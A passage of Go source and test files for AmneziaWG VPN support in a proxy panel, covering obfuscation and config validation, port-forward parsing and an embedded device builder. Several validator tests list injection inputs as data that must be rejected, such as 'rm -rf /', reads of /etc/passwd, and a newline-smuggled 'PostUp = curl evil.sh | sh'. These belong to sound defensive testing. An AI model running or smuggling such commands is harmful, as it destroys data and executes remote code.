o.RekeyAfterTime = "100-200"
o.RejectAfterTime = "200-300"
}},
{"single rekey value at reject min", func(o *Obfuscation31) {
o.RekeyAfterTime = "180"
o.RejectAfterTime = "180-300"
}},
{"embedded newline splits the config line", func(o *Obfuscation31) {
o.RekeyAfterTime = "110\n-140"
o.RejectAfterTime = "190-250"
}},
{"reject alone below the 120s default rekey", func(o *Obfuscation31) {
o.RekeyAfterTime = ""
o.RejectAfterTime = "30-60"
}},
{"rekey alone above the 180s default reject", func(o *Obfuscation31) {
o.RekeyAfterTime = "200-300"
o.RejectAfterTime = ""
}},
}
for _, c := range cases {
o := validObfuscation()
c.mutate(&o)
if err := ValidateObfuscation(o); err == nil {
t.Errorf("%s must be rejected", c.name)
}
}
}
func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
cases := []struct {
name string
key string
}{
{"not base64", "not!!!base64"},
{"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
{"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
{"control characters", "AAAA\nBBBB"},
// DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
// only the explicit control-character check can catch the line wrap.
{"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
}
for _, c := range cases {
o := validObfuscation()
o.HeaderProtectionKey = c.key
if err := ValidateObfuscation(o); err == nil {
t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
}
}
}
func TestCanonicalizeUintRange(t *testing.T) {
cases := []struct{ in, want string }{
{"110 - 140", "110-140"},
{" 120 ", "120"},
{" ", ""},
{"", ""},
{"110-140", "110-140"},
}
for _, c := range cases {
if got := CanonicalizeUintRange(c.in); got != c.want {
t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
}
}
}
func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
o := validObfuscation()
o.ContentPaddingAddition = "32"
o.RekeyAfterTime = "120"
o.RejectAfterTime = "180"
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
}
}
func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
if err := ValidateInterfaceName(name); err != nil {
t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
}
}
}
func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
cases := []string{
"eth0 -j ACCEPT; rm -rf /",
"eth0`whoami`",
"eth0$(id)",
"eth0|cat /etc/passwd",
"eth0\nMASQUERADE",
"aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
}
for _, name := range cases {
if err := ValidateInterfaceName(name); err == nil {
t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
}
}
}
func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0", 24},
{"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
{"192.168.5.10", 32},
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
}
}
}
func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
cases := []struct {
ip string
cidr int
}{
{"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
{"not-an-ip", 24},
{"", 24},
{"fd86::1", 64}, // IPv6, not IPv4
{"10.8.1.0", 33}, // cidr out of range
}
for _, c := range cases {
if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
}
}
}
func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", "<r 148>"} {
if err := ValidateConfigValue("email", v); err != nil {
t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
}
}
}
func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
cases := []string{
"a@x\nPostUp = curl evil.sh | sh",
"a@x\r\n[Interface]",
"tab\there",
"a@x\x7f",
}
for _, v := range cases {
if err := ValidateConfigValue("email", v); err == nil {
t.Errorf("ValidateConfigValue(%q) must be rejected", v)
}
}
}
+142
View File
@@ -0,0 +1,142 @@
package amneziawg
import (
"fmt"
"sort"
"strconv"
"strings"
)
// portSpec is a single port (start == end) or an inclusive range start..end.
type portSpec struct {
start int
end int
}
// parseForwardedPorts splits a user-supplied string ("80, 443; 8000-8100")
// into validated port specs. Tokens are separated by comma or semicolon;
// whitespace is ignored. Invalid tokens are silently dropped — the input is
// a free-form text field and validation is best-effort by design.
func parseForwardedPorts(input string) []portSpec {
if input == "" {
return nil
}
input = strings.ReplaceAll(input, ";", ",")
tokens := strings.Split(input, ",")
var specs []portSpec
seen := make(map[string]struct{}, len(tokens))
for _, tok := range tokens {
tok = strings.TrimSpace(tok)
if tok == "" {
continue
}
spec, ok := parsePortToken(tok)
if !ok {
continue
}
key := fmt.Sprintf("%d-%d", spec.start, spec.end)
if _, dup := seen[key]; dup {
continue
}
seen[key] = struct{}{}
specs = append(specs, spec)
}
return specs
}
func parsePortToken(tok string) (portSpec, bool) {
if idx := strings.IndexByte(tok, '-'); idx >= 0 {
start, ok1 := parsePortNumber(strings.TrimSpace(tok[:idx]))
end, ok2 := parsePortNumber(strings.TrimSpace(tok[idx+1:]))
if !ok1 || !ok2 || start > end {
return portSpec{}, false
}
return portSpec{start: start, end: end}, true
}
p, ok := parsePortNumber(tok)
if !ok {
return portSpec{}, false
}
return portSpec{start: p, end: p}, true
}
func parsePortNumber(s string) (int, bool) {
n, err := strconv.Atoi(s)
if err != nil || n < 1 || n > 65535 {
return 0, false
}
return n, true
}
// ForwardedPortsInclude reports whether port is covered by any spec in a raw
// ForwardedPorts string (a single port or an inclusive range). Used for
// save-time validation that a client isn't about to hijack the panel's own
// port or another inbound's port -- see
// internal/web/service/inbound_amneziawg.go's port-conflict checks.
//
// Per-client port-forwarding is implemented by internal/amneziawgnet's
// listener supervisor (PortForwardSet), which dials directly into the
// embedded gVisor netstack toward the peer's tunnel-internal address --
// the retired kernel-module architecture used PostUp/PostDown iptables DNAT
// rules instead, which had no equivalent path once that architecture was
// cut over; ExpandForwardedPorts below is what the supervisor uses to turn
// a raw spec into the concrete ports it listens on.
func ForwardedPortsInclude(forwardedPorts string, port int) bool {
for _, spec := range parseForwardedPorts(forwardedPorts) {
if port >= spec.start && port <= spec.end {
return true
}
}
return false
}
// MaxForwardedPorts caps how many unique ports a single client's
// ForwardedPorts spec can expand to. internal/amneziawgnet's listener
// supervisor opens up to two real sockets (TCP+UDP) per port, so this bounds
// worst-case file descriptor usage to a fixed, sane amount regardless of how
// large a stored spec claims to be -- a legacy or hand-edited "1-65535"
// costs exactly the same as "1-100" once expansion stops at the cap.
const MaxForwardedPorts = 100
// ExpandForwardedPorts parses forwardedPorts the same way
// ForwardedPortsInclude does and returns every unique port it covers, in
// ascending order, capped at MaxForwardedPorts. Expansion stops the instant
// the cap is reached rather than expanding fully and truncating afterward,
// so this is safe to call unconditionally against arbitrary -- including
// pre-existing, pre-cap -- stored data.
func ExpandForwardedPorts(forwardedPorts string) []int {
return expandForwardedPorts(forwardedPorts, MaxForwardedPorts)
}
// ExceedsForwardedPortsCap reports whether forwardedPorts covers strictly
// more than MaxForwardedPorts unique ports -- unlike comparing
// len(ExpandForwardedPorts(...)) to the cap, which can never tell "exactly
// at the cap" apart from "over it" since that expansion already truncates
// there.
func ExceedsForwardedPortsCap(forwardedPorts string) bool {
return len(expandForwardedPorts(forwardedPorts, MaxForwardedPorts+1)) > MaxForwardedPorts
}
// expandForwardedPorts is ExpandForwardedPorts with an explicit stop-count,
// so ExceedsForwardedPortsCap can probe one past the real cap without
// expanding an arbitrarily large legacy spec in full.
func expandForwardedPorts(forwardedPorts string, limit int) []int {
seen := make(map[int]struct{}, limit)
ports := make([]int, 0, limit)
outer:
for _, spec := range parseForwardedPorts(forwardedPorts) {
for p := spec.start; p <= spec.end; p++ {
if len(ports) >= limit {
break outer
}
if _, dup := seen[p]; dup {
continue
}
seen[p] = struct{}{}
ports = append(ports, p)
}
}
sort.Ints(ports)
return ports
}
+102
View File
@@ -0,0 +1,102 @@
package amneziawg
import (
"fmt"
"reflect"
"strconv"
"strings"
"testing"
)
func TestForwardedPortsInclude(t *testing.T) {
cases := []struct {
spec string
port int
want bool
}{
{"80,443", 80, true},
{"80,443", 443, true},
{"80,443", 8080, false},
{"8000-8100", 8050, true},
{"8000-8100", 7999, false},
{"8000-8100", 8101, false},
{"", 80, false},
{"not-a-port", 80, false},
}
for _, c := range cases {
if got := ForwardedPortsInclude(c.spec, c.port); got != c.want {
t.Errorf("ForwardedPortsInclude(%q, %d) = %v, want %v", c.spec, c.port, got, c.want)
}
}
}
func TestExpandForwardedPorts(t *testing.T) {
cases := []struct {
name string
spec string
want []int
}{
{"empty", "", nil},
{"malformed", "not-a-port", nil},
{"single ports", "443,80", []int{80, 443}},
{"a range", "8000-8003", []int{8000, 8001, 8002, 8003}},
{
"overlapping-but-distinct ranges dedupe and merge",
"80-90,85-95",
[]int{80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95},
},
{"mixed single ports and a range, unsorted input", "443,80-82,80", []int{80, 81, 82, 443}},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
got := ExpandForwardedPorts(c.spec)
if len(got) == 0 && len(c.want) == 0 {
return
}
if !reflect.DeepEqual(got, c.want) {
t.Errorf("ExpandForwardedPorts(%q) = %v, want %v", c.spec, got, c.want)
}
})
}
}
func TestExpandForwardedPortsCapsAtMaxForwardedPorts(t *testing.T) {
got := ExpandForwardedPorts("1-200")
if len(got) != MaxForwardedPorts {
t.Fatalf("len(ExpandForwardedPorts(\"1-200\")) = %d, want %d", len(got), MaxForwardedPorts)
}
for i, port := range got {
if want := i + 1; port != want {
t.Fatalf("ExpandForwardedPorts(\"1-200\")[%d] = %d, want %d (expansion must stop at the cap, not truncate after expanding fully)", i, port, want)
}
}
}
func TestExpandForwardedPortsCapAppliesAcrossMultipleSpecs(t *testing.T) {
// A spec whose total span far exceeds the cap, split across many
// individually-small tokens -- proves the cap is enforced cumulatively
// across specs, not reset (or bypassed) per spec.
tokens := make([]string, 150)
for i := range tokens {
tokens[i] = strconv.Itoa(10000 + i)
}
spec := strings.Join(tokens, ",")
got := ExpandForwardedPorts(spec)
if len(got) != MaxForwardedPorts {
t.Fatalf("len(ExpandForwardedPorts(150 distinct single ports)) = %d, want %d", len(got), MaxForwardedPorts)
}
}
func TestExceedsForwardedPortsCap(t *testing.T) {
atCap := fmt.Sprintf("1-%d", MaxForwardedPorts)
if ExceedsForwardedPortsCap(atCap) {
t.Fatalf("a spec covering exactly %d ports is AT the cap, not over it", MaxForwardedPorts)
}
overCap := fmt.Sprintf("1-%d", MaxForwardedPorts+1)
if !ExceedsForwardedPortsCap(overCap) {
t.Fatalf("a spec covering %d ports must be reported as exceeding the cap", MaxForwardedPorts+1)
}
if ExceedsForwardedPortsCap("1-10") {
t.Fatal("a small spec must not be reported as exceeding the cap")
}
}
+245
View File
@@ -0,0 +1,245 @@
// Package amneziawg holds the AmneziaWG protocol's shared, DB-backed shapes
// (Instance, Peer, Obfuscation31, ServerSettings/InboundSettings) and the
// pure functions that derive an Instance from a stored inbound row. It has
// no OS dependency of its own: internal/amneziawgnet embeds amneziawg-go
// over a gVisor netstack and owns the actual running interfaces, one
// Manager-managed Device per desired Instance -- see that package's Manager
// for the reconcile-on-tick lifecycle (modeled on internal/mtproto's own
// Manager), and instance.go's own doc comment for how this package's role
// narrowed to protocol-shape-only after the kernel-module (DKMS) + awg-quick
// architecture this fork originally shipped was retired.
package amneziawg
import "github.com/mhsanaei/3x-ui/v3/internal/database/model"
// Obfuscation31 is an AmneziaWG 3.1 obfuscation parameter set (junk packets,
// padding, magic headers, the five CPS signature-packet slots, and the 3.x
// header-protection/content-padding/timing/boolean fields). The same values
// must be applied on both ends of a tunnel, so the server stores them and
// every client config inherits them verbatim.
type Obfuscation31 struct {
Jc int `json:"jc"`
Jmin int `json:"jmin"`
Jmax int `json:"jmax"`
S1 int `json:"s1"`
S2 int `json:"s2"`
S3 int `json:"s3"`
S4 int `json:"s4"`
H1 string `json:"h1"`
H2 string `json:"h2"`
H3 string `json:"h3"`
H4 string `json:"h4"`
// I1-I5 are the real protocol's five CPS signature-packet slots
// (confirmed against amneziawg-go v3.0.3's device/uapi.go: "i1"
// through "i5" are five independent UAPI setters, device.ipackets[0..4],
// all parsed via the identical newObfChain grammar).
I1 string `json:"i1,omitempty"`
I2 string `json:"i2,omitempty"`
I3 string `json:"i3,omitempty"`
I4 string `json:"i4,omitempty"`
I5 string `json:"i5,omitempty"`
// HeaderProtectionKey is a base64 32-byte key shared by both ends; the
// ranges/booleans below are 3.x-only and optional.
HeaderProtectionKey string `json:"headerProtectionKey,omitempty"`
ContentPaddingAddition string `json:"contentPaddingAddition,omitempty"`
RekeyAfterTime string `json:"rekeyAfterTime,omitempty"`
RekeyTimeout string `json:"rekeyTimeout,omitempty"`
RejectAfterTime string `json:"rejectAfterTime,omitempty"`
KeepaliveTimeout string `json:"keepaliveTimeout,omitempty"`
MaxHandshakeAttempts string `json:"maxHandshakeAttempts,omitempty"`
RandomTrailers bool `json:"randomTrailers,omitempty"`
DisableCookies bool `json:"disableCookies,omitempty"`
}
// Peer is one desired AmneziaWG peer: a client device the interface accepts.
// Email attributes traffic and online status back to the owning client, the
// same role SecretEntry.Name plays for mtproto.
type Peer struct {
Email string
PublicKey string
PresharedKey string
AllowedIPs []string
// ForwardedPorts is a raw, user-supplied port list ("80, 443, 8000-8100")
// forwarded to this peer's tunnel address by internal/amneziawgnet's
// PortForwardSet listener supervisor. Empty means no port-forwarding.
ForwardedPorts string
}
// Instance is the desired runtime configuration of one AmneziaWG inbound: a
// single interface (e.g. awg1) with a set of peers, mirroring how one mtproto
// inbound maps to one mtg process (internal/mtproto.Instance).
type Instance struct {
Id int
Tag string
InterfaceName string
ListenPort int
PrivateKey string
PublicKey string
// Address holds the interface's own tunnel address(es), e.g. "10.8.1.1/24".
// Carries both the IPv4 and (when enabled) IPv6 server address.
Address []string
MTU int
// Obfuscation carries the full AmneziaWG 3.1 parameter set, including
// the 3.x header-protection/content-padding/timing/boolean fields (see
// Obfuscation31's own doc comment) -- amneziawgnet.DeviceOptions is
// what actually consumes it when building the embedded Device's UAPI
// config.
Obfuscation Obfuscation31
Peers []Peer
// ExternalInterface named the host NIC PostUp/PostDown NAT rules
// attached to under the retired kernel-module architecture. Also the
// fallback host NIC internal/amneziawgnet's IPv6-address-alias
// mechanism (desiredV6Aliases) uses when IPv6ExternalInterface is left
// blank.
ExternalInterface string
// IPv6Enabled/IPv6ExternalInterface gate internal/amneziawgnet's
// IPv6-address-alias mechanism (desiredV6Aliases,
// internal/web/service/xray.go's injectAmneziawgV6Egress): each peer
// with an IPv6 AllowedIPs entry gets that address aliased onto this
// host NIC (ip -6 addr add) and a dedicated Xray freedom outbound bound
// to it, giving that peer's own outbound connections a distinct public
// source identity. Narrower in scope than these identically-named
// fields' role under the retired kernel-module architecture, which used
// per-peer NDP-proxy entries (ip -6 neigh add proxy) to also support
// unsolicited inbound connections toward the peer -- that capability is
// the separate, not-yet-built Phase 3.6 (port-forwarding).
IPv6Enabled bool
IPv6ExternalInterface string
// RouteThroughXray gated the kernel-module architecture's opt-in
// TPROXY-into-Xray bridge. The embedded path (internal/amneziawgnet)
// has no equivalent opt-in at all -- every peer's traffic already goes
// through Xray's own SOCKS5 inbound unconditionally, since there's no
// other way for decapsulated gVisor traffic to reach the real internet
// -- so this field is now vestigial: read from existing stored settings
// for backward compatibility, but not acted on by anything. Slated for
// removal alongside the frontend toggle in a follow-up.
RouteThroughXray bool
}
// ServerSettings is the "server" block of an AmneziaWG inbound's Settings
// JSON: the interface-level configuration shared by every client/peer. The
// listen port is deliberately not duplicated here — it lives on the inbound
// row itself (Inbound.Port), like every other protocol.
type ServerSettings struct {
PrivateKey string `json:"privateKey"`
PublicKey string `json:"publicKey"`
SubnetIP string `json:"subnetIp"`
SubnetCIDR int `json:"subnetCidr"`
MTU int `json:"mtu,omitempty"`
// PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is
// meaningful, so no omitempty: a dropped key resurrects frontend defaults.
PrimaryDNS string `json:"primaryDns"`
SecondaryDNS string `json:"secondaryDns"`
// ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live
// again as of Phase 3.5 -- see the matching fields on Instance for what
// they gate (internal/amneziawgnet's IPv6-address-alias mechanism).
// IPv6Subnet was never actually vestigial either: InstanceFromInbound
// already consumes it (via serverAddressV6) to build the server's own
// tunnel address, same as always. Only RouteThroughXray, below, remains
// genuinely vestigial as of the hard cutover to the embedded path
// (internal/amneziawgnet) -- read from existing stored settings for
// backward compatibility, but not acted on by anything.
ExternalInterface string `json:"externalInterface,omitempty"`
IPv6Enabled bool `json:"ipv6Enabled,omitempty"`
IPv6Subnet string `json:"ipv6Subnet,omitempty"`
IPv6ExternalInterface string `json:"ipv6ExternalInterface,omitempty"`
RouteThroughXray bool `json:"routeThroughXray,omitempty"`
// Obfuscation31's fields, repeated flat (not embedded) rather than
// nested under their own key: encoding/json would happily inline an
// embedded Obfuscation31 the same way, but the frontend's Go->Zod/TS
// generator (tools/openapigen) does not — it emits a genuinely nested
// `obfuscation31` object, which would silently diverge from the real
// wire JSON. See Obfuscation() below for the manager-facing conversion.
Jc int `json:"jc"`
Jmin int `json:"jmin"`
Jmax int `json:"jmax"`
S1 int `json:"s1"`
S2 int `json:"s2"`
S3 int `json:"s3"`
S4 int `json:"s4"`
H1 string `json:"h1"`
H2 string `json:"h2"`
H3 string `json:"h3"`
H4 string `json:"h4"`
I1 string `json:"i1,omitempty"`
I2 string `json:"i2,omitempty"`
I3 string `json:"i3,omitempty"`
I4 string `json:"i4,omitempty"`
I5 string `json:"i5,omitempty"`
// HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0
// fields, flat and top-level for the same tools/openapigen reason as
// the block above; Obfuscation() below folds them back into
// Obfuscation31's own identically named fields.
// HeaderProtectionKey is a base64 32-byte key; empty (the default)
// disables AWG 3.0 header protection. A non-empty value requires
// every one of S1-S4 above to be >= 12 -- ValidateObfuscation
// enforces this at save time, not just at IpcSet time.
// ContentPaddingAddition is a "low-high" range or bare integer, the
// same grammar and uint32 cap as H1-H4.
HeaderProtectionKey string `json:"headerProtectionKey,omitempty"`
ContentPaddingAddition string `json:"contentPaddingAddition,omitempty"`
// RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/
// MaxHandshakeAttempts mirror Instance's identically named fields --
// see that type's own doc comment for the grammar/width/real-default
// details. Flat and top-level for the same tools/openapigen reason as
// the rest of this struct.
RekeyAfterTime string `json:"rekeyAfterTime,omitempty"`
RekeyTimeout string `json:"rekeyTimeout,omitempty"`
RejectAfterTime string `json:"rejectAfterTime,omitempty"`
KeepaliveTimeout string `json:"keepaliveTimeout,omitempty"`
MaxHandshakeAttempts string `json:"maxHandshakeAttempts,omitempty"`
// RandomTrailers/DisableCookies mirror Instance's identically named
// AmneziaWG 3.1 fields -- see that type's own doc comment for the real
// protocol/interop details. Both real bool fields (not omitempty):
// buildUAPIConfig always emits both lines explicitly so the
// reconfigure-in-place diff correctly notices a true->false edit, not
// just false->true.
RandomTrailers bool `json:"randomTrailers"`
DisableCookies bool `json:"disableCookies"`
}
// Obfuscation extracts the Obfuscation31 parameter set from a ServerSettings
// block, for callers (the Manager, ValidateObfuscation) that want the
// grouped type rather than the flat wire fields.
func (s ServerSettings) Obfuscation() Obfuscation31 {
return Obfuscation31{
Jc: s.Jc, Jmin: s.Jmin, Jmax: s.Jmax,
S1: s.S1, S2: s.S2, S3: s.S3, S4: s.S4,
H1: s.H1, H2: s.H2, H3: s.H3, H4: s.H4,
I1: s.I1, I2: s.I2, I3: s.I3, I4: s.I4, I5: s.I5,
HeaderProtectionKey: s.HeaderProtectionKey,
ContentPaddingAddition: s.ContentPaddingAddition,
RekeyAfterTime: s.RekeyAfterTime,
RekeyTimeout: s.RekeyTimeout,
RejectAfterTime: s.RejectAfterTime,
KeepaliveTimeout: s.KeepaliveTimeout,
MaxHandshakeAttempts: s.MaxHandshakeAttempts,
RandomTrailers: s.RandomTrailers,
DisableCookies: s.DisableCookies,
}
}
// InboundSettings is the full Settings JSON shape stored on an AmneziaWG
// inbound row: one server block plus the usual generic client list, so bulk
// operations, the QR modal and subscriptions all come from the same shared
// infrastructure every other protocol uses.
type InboundSettings struct {
Server *ServerSettings `json:"server"`
Clients []model.Client `json:"clients"`
}
+274
View File
@@ -0,0 +1,274 @@
package amneziawgnet
import (
"fmt"
"net/netip"
"strings"
awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
"github.com/amnezia-vpn/amneziawg-go/v3/device"
"gvisor.dev/gvisor/pkg/tcpip/stack"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
// defaultMTU matches internal/amneziawg's own kernel-module interface
// default -- 1420, WireGuard/AmneziaWG's usual accounting for tunnel
// encapsulation overhead on a standard 1500-byte-MTU host link.
const defaultMTU = 1420
// DeviceOptions carries AmneziaWG 3.0's device-wide fields (header
// protection, content padding, and the five session-timing knobs) --
// mirrored from amneziawg.Instance's identically named fields by every
// caller (see the 3 Desired{} call sites), not read from Instance
// directly, since amneziawgnet has no dependency on internal/amneziawg
// beyond the plain data types it already imports. Zero-value DeviceOptions
// means amneziawg-go's own real-protocol defaults throughout: classic
// (non-3.0) obfuscation, and its built-in session timings (120s/5s/180s/
// 10s/18 attempts -- device/constants.go).
type DeviceOptions struct {
// HeaderProtectionKey is a base64 32-byte key. Empty disables AWG 3.0
// header protection entirely. Non-empty requires every one of
// Obfuscation31.S1-S4 to be >= 12 (amneziawg-go's own HeaderCipherNonceSize
// requirement) -- IpcSet will reject the config otherwise.
HeaderProtectionKey string
// ContentPaddingAddition, RekeyAfterTime, RekeyTimeout, RejectAfterTime,
// KeepaliveTimeout, and MaxHandshakeAttempts are each a "low-high" range
// (or a bare integer), amneziawg-go's own UintRange.FromString grammar
// (confirmed directly against v3.0.3's device/uapi.go -- all six share
// the identical parser). Empty leaves that one field at amneziawg-go's
// own default.
ContentPaddingAddition string
RekeyAfterTime string
RekeyTimeout string
RejectAfterTime string
KeepaliveTimeout string
MaxHandshakeAttempts string
// RandomTrailers and DisableCookies are AmneziaWG 3.1's two device-wide
// bool toggles (confirmed against amneziawg-go v3.1.20260814's
// device/uapi.go: "random_trailers"/"disable_cookies", both
// strconv.ParseBool). Unlike the string fields above, buildUAPIConfig
// emits these unconditionally on every call -- a bool has no "absent"
// value to gate on, and always emitting both means the reconfigure-
// in-place diff correctly notices a true->false edit, not just
// false->true. RandomTrailers requires the peer to also run AmneziaWG
// 3.1+ with it enabled: amneziawg-go's own receive path only accepts
// an oversized (trailer-padded) packet when the RECEIVING side's own
// RandomTrailers is also true, so a one-sided setting makes that
// side's packets start getting silently dropped by the other.
// DisableCookies is purely local (no peer-side coordination needed)
// but trades away WireGuard's handshake-flood DoS-protection cookie
// replies for a less distinctive packet shape during a flood.
RandomTrailers bool
DisableCookies bool
// Logger is passed to device.NewDevice as-is; nil uses a silent logger
// (device.NewLogger(device.LogLevelSilent, "")).
Logger *device.Logger
}
// Device is one running embedded AmneziaWG interface: an amneziawg-go
// Device over a gVisor netstack, plus the raw *stack.Stack a caller needs to
// attach a TCP/UDP forwarder (see forwarder.go / udp.go). Closing it tears
// down both the WireGuard device and the underlying tun/stack.
type Device struct {
*device.Device
Stack *stack.Stack
}
// NewDevice constructs, configures, and brings up an embedded AmneziaWG
// interface for inst in one call: a gVisor-backed tun.Device sized to
// inst.MTU (or defaultMTU), addressed with inst.Address, configured via
// UAPI with inst.Obfuscation, inst.PrivateKey, opts' AWG 3.0 fields, and one
// UAPI peer per inst.Peers entry. It does not attach a forwarder or start
// relaying traffic -- that's the caller's job (see AttachTCPForwarder /
// AttachUDPHandler) -- which is exactly why a caller that will relay real
// traffic must NOT use this function: see newUnconfiguredDevice's doc
// comment for why, and use newUnconfiguredDevice + Configure instead.
func NewDevice(inst amneziawg.Instance, opts DeviceOptions) (*Device, error) {
dev, err := newUnconfiguredDevice(inst, opts)
if err != nil {
return nil, err
}
if err := dev.Configure(inst, opts); err != nil {
return nil, err
}
return dev, nil
}
// newUnconfiguredDevice builds the tun/netstack/device trio but does not
// configure any peers or bring the interface up -- a caller that will relay
// real traffic MUST attach its TCP/UDP handlers (AttachTCPForwarder /
// AttachUDPHandler) against the returned Device.Stack BEFORE calling
// Configure, not after.
//
// This ordering is not a style preference: Configure's IpcSet is what
// starts each configured peer's receive goroutine (amneziawg-go's
// Peer.Start, called from handlePostConfig), and a peer whose handshake
// completes fast enough (e.g. an already-connected client reconnecting
// right as an MTU/address change forces this package's own Manager to
// rebuild the Device) can begin delivering packets into the stack
// immediately -- concurrently with a caller that only calls
// gstack.SetTransportProtocolHandler (AttachTCPForwarder/AttachUDPHandler)
// after Configure returns. A -race CI run caught exactly this as a real
// WARNING: DATA RACE between stack.(*nic).DeliverTransportPacket (the
// peer's receive goroutine, reading the handler table) and
// stack.(*Stack).SetTransportProtocolHandler (the attaching goroutine,
// writing it). See manager.go's ensureLocked rebuild branch for the real
// call order this function exists to support.
func newUnconfiguredDevice(inst amneziawg.Instance, opts DeviceOptions) (*Device, error) {
addrs, err := hostAddresses(inst.Address)
if err != nil {
return nil, fmt.Errorf("amneziawgnet: %w", err)
}
mtu := inst.MTU
if mtu <= 0 {
mtu = defaultMTU
}
tun, gstack, err := createNetTUNWithStack(addrs, mtu)
if err != nil {
return nil, fmt.Errorf("amneziawgnet: create netstack: %w", err)
}
logger := opts.Logger
if logger == nil {
logger = device.NewLogger(device.LogLevelSilent, "")
}
dev := device.NewDevice(tun, awgconn.NewDefaultBind(), logger)
return &Device{Device: dev, Stack: gstack}, nil
}
// Configure applies inst/opts to d via UAPI and brings the interface up.
// Call at most once per Device, and -- for any caller relaying real
// traffic -- only after any AttachTCPForwarder/AttachUDPHandler
// registration against d.Stack (see newUnconfiguredDevice's doc comment
// for why the order matters). Closes d and returns an error if either step
// fails; the caller owns closing anything else it already built against
// d.Stack in that case (e.g. a UDP relay or port-forward set).
func (d *Device) Configure(inst amneziawg.Instance, opts DeviceOptions) error {
conf, err := buildUAPIConfig(inst, opts)
if err != nil {
d.Close()
return fmt.Errorf("amneziawgnet: %w", err)
}
if err := d.IpcSet(conf); err != nil {
d.Close()
return fmt.Errorf("amneziawgnet: IpcSet for inbound %d: %w", inst.Id, err)
}
if err := d.Up(); err != nil {
d.Close()
return fmt.Errorf("amneziawgnet: bring up inbound %d: %w", inst.Id, err)
}
return nil
}
// hostAddresses parses each of inst.Address's CIDR strings (e.g.
// "10.8.1.1/24") down to the bare host address the netstack's NIC gets
// configured with -- the interface's own address, not the subnet it routes.
func hostAddresses(addresses []string) ([]netip.Addr, error) {
out := make([]netip.Addr, 0, len(addresses))
for _, a := range addresses {
prefix, err := netip.ParsePrefix(a)
if err != nil {
return nil, fmt.Errorf("invalid interface address %q: %w", a, err)
}
out = append(out, prefix.Addr())
}
return out, nil
}
// buildUAPIConfig renders inst (plus opts' AWG 3.0 fields) as a WireGuard
// UAPI "set" configuration string -- private_key/listen_port/jc.../s1-s4/
// h1-h4/i1-i5 device lines, the AWG 3.0 device lines when opts asks for them,
// then one public_key/preshared_key/allowed_ip block per peer. Field names
// and format match amneziawg-go v3.0.3's device/uapi.go exactly (confirmed
// against its real source during Phase 0 spiking, not just its docs).
func buildUAPIConfig(inst amneziawg.Instance, opts DeviceOptions) (string, error) {
var b strings.Builder
privHex, err := wireguard.KeyToHex(inst.PrivateKey)
if err != nil {
return "", fmt.Errorf("invalid server private key: %w", err)
}
fmt.Fprintf(&b, "private_key=%s\n", privHex)
fmt.Fprintf(&b, "listen_port=%d\n", inst.ListenPort)
// replace_peers makes every apply a full resync (matches this package's
// own Manager.Ensure semantics): peers no longer in inst.Peers are
// dropped instead of lingering from a previous IpcSet call.
b.WriteString("replace_peers=true\n")
o := inst.Obfuscation
fmt.Fprintf(&b, "jc=%d\njmin=%d\njmax=%d\n", o.Jc, o.Jmin, o.Jmax)
fmt.Fprintf(&b, "s1=%d\ns2=%d\ns3=%d\ns4=%d\n", o.S1, o.S2, o.S3, o.S4)
writeOptionalLine(&b, "h1", o.H1)
writeOptionalLine(&b, "h2", o.H2)
writeOptionalLine(&b, "h3", o.H3)
writeOptionalLine(&b, "h4", o.H4)
writeOptionalLine(&b, "i1", o.I1)
writeOptionalLine(&b, "i2", o.I2)
writeOptionalLine(&b, "i3", o.I3)
writeOptionalLine(&b, "i4", o.I4)
writeOptionalLine(&b, "i5", o.I5)
if opts.HeaderProtectionKey != "" {
hpHex, err := wireguard.KeyToHex(opts.HeaderProtectionKey)
if err != nil {
return "", fmt.Errorf("invalid header protection key: %w", err)
}
fmt.Fprintf(&b, "header_protection_key=%s\n", hpHex)
}
if opts.ContentPaddingAddition != "" {
fmt.Fprintf(&b, "content_padding_addition=%s\n", opts.ContentPaddingAddition)
}
if opts.RekeyAfterTime != "" {
